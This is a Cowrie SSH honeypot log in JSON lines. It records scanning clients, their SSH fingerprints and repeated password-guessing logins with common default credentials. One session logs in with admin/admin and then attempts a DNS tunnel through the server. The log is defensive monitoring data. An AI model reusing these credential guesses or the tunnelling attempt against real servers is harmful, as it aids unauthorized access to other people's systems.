{"eventid":"cowrie.login.failed","username":"admin","password":"delta2","message":"login attempt [admin/delta2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:32.708111Z","src_ip":"2.57.121.112","session":"e86dad4d6e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":32900,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d133fff3c7","protocol":"ssh","message":"New connection: 8.218.166.49:32900 (10.17.0.5:22) [session: 18d133fff3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:33.001149Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:33.812568Z","src_ip":"2.57.121.112","session":"e86dad4d6e7f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:36.587631Z","src_ip":"8.218.166.49","session":"18d133fff3c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:36.591476Z","src_ip":"8.218.166.49","session":"18d133fff3c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:47.855074Z","src_ip":"8.218.166.49","session":"18d133fff3c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60098,"dst_ip":"10.17.0.5","dst_port":22,"session":"65f93227d229","protocol":"ssh","message":"New connection: 8.218.166.49:60098 (10.17.0.5:22) [session: 65f93227d229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:48.211706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:48.216849Z","src_ip":"8.218.166.49","session":"65f93227d229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:49.061446Z","src_ip":"8.218.166.49","session":"18d133fff3c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":53702,"dst_ip":"10.17.0.5","dst_port":22,"session":"23e8df030ddd","protocol":"ssh","message":"New connection: 14.63.196.175:53702 (10.17.0.5:22) [session: 23e8df030ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:50.413483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:50.418481Z","src_ip":"14.63.196.175","session":"23e8df030ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:50.620324Z","src_ip":"14.63.196.175","session":"23e8df030ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:51.461806Z","src_ip":"14.63.196.175","session":"23e8df030ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:52.666800Z","src_ip":"14.63.196.175","session":"23e8df030ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60508,"dst_ip":"10.17.0.5","dst_port":22,"session":"83bb36e49abe","protocol":"ssh","message":"New connection: 8.218.166.49:60508 (10.17.0.5:22) [session: 83bb36e49abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:55.607684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:55.612640Z","src_ip":"8.218.166.49","session":"83bb36e49abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60516,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a77458205af","protocol":"ssh","message":"New connection: 8.218.166.49:60516 (10.17.0.5:22) [session: 7a77458205af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:01.247214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:01.253982Z","src_ip":"8.218.166.49","session":"7a77458205af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:01.465918Z","src_ip":"8.218.166.49","session":"7a77458205af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:02.093229Z","src_ip":"8.218.166.49","session":"7a77458205af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:03.301471Z","src_ip":"8.218.166.49","session":"7a77458205af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39334,"dst_ip":"10.17.0.5","dst_port":22,"session":"234eb0779e12","protocol":"ssh","message":"New connection: 8.218.166.49:39334 (10.17.0.5:22) [session: 234eb0779e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:28.627153Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7384,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f8f18f41b5","protocol":"ssh","message":"New connection: 87.251.64.176:7384 (10.17.0.5:22) [session: a9f8f18f41b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:38.158126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:38.163570Z","src_ip":"87.251.64.176","session":"a9f8f18f41b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:38.265373Z","src_ip":"87.251.64.176","session":"a9f8f18f41b5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:38.557027Z","src_ip":"87.251.64.176","session":"a9f8f18f41b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:38.656605Z","session":"a9f8f18f41b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:38.756008Z","src_ip":"87.251.64.176","session":"a9f8f18f41b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:40:38.859806Z","src_ip":"87.251.64.176","session":"a9f8f18f41b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20079,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f6b67e734b3","protocol":"ssh","message":"New connection: 2.57.121.25:20079 (159.203.135.109:22) [session: 8f6b67e734b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:02.322092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:02.329849Z","src_ip":"2.57.121.25","session":"8f6b67e734b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:02.437161Z","src_ip":"2.57.121.25","session":"8f6b67e734b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"epson","message":"login attempt [user/epson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:02.954553Z","src_ip":"2.57.121.25","session":"8f6b67e734b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"endless","message":"login attempt [user/endless] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:04.062952Z","src_ip":"2.57.121.25","session":"8f6b67e734b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"emili","message":"login attempt [user/emili] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:05.186921Z","src_ip":"2.57.121.25","session":"8f6b67e734b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"elgato","message":"login attempt [user/elgato] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:06.296705Z","src_ip":"2.57.121.25","session":"8f6b67e734b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"elbereth","message":"login attempt [user/elbereth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:07.405895Z","src_ip":"2.57.121.25","session":"8f6b67e734b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:08.513910Z","src_ip":"2.57.121.25","session":"8f6b67e734b3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:10.956313Z","src_ip":"8.218.166.49","session":"234eb0779e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:10.964727Z","src_ip":"8.218.166.49","session":"234eb0779e12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:46.295589Z","src_ip":"8.218.166.49","session":"234eb0779e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:48.217543Z","src_ip":"8.218.166.49","session":"65f93227d229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:55.620339Z","src_ip":"8.218.166.49","session":"83bb36e49abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"88.9","message":"Connection lost after 88.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:41:57.557999Z","src_ip":"8.218.166.49","session":"234eb0779e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":52032,"dst_ip":"10.17.0.5","dst_port":22,"session":"efc8928c019b","protocol":"ssh","message":"New connection: 14.63.196.175:52032 (10.17.0.5:22) [session: efc8928c019b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:15.287967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:15.294231Z","src_ip":"14.63.196.175","session":"efc8928c019b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:15.491611Z","src_ip":"14.63.196.175","session":"efc8928c019b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2014","message":"login attempt [root/admin2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:16.311320Z","src_ip":"14.63.196.175","session":"efc8928c019b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:17.511214Z","src_ip":"14.63.196.175","session":"efc8928c019b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47258,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf6f2adc743d","protocol":"ssh","message":"New connection: 8.218.166.49:47258 (10.17.0.5:22) [session: bf6f2adc743d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:17.741244Z"}
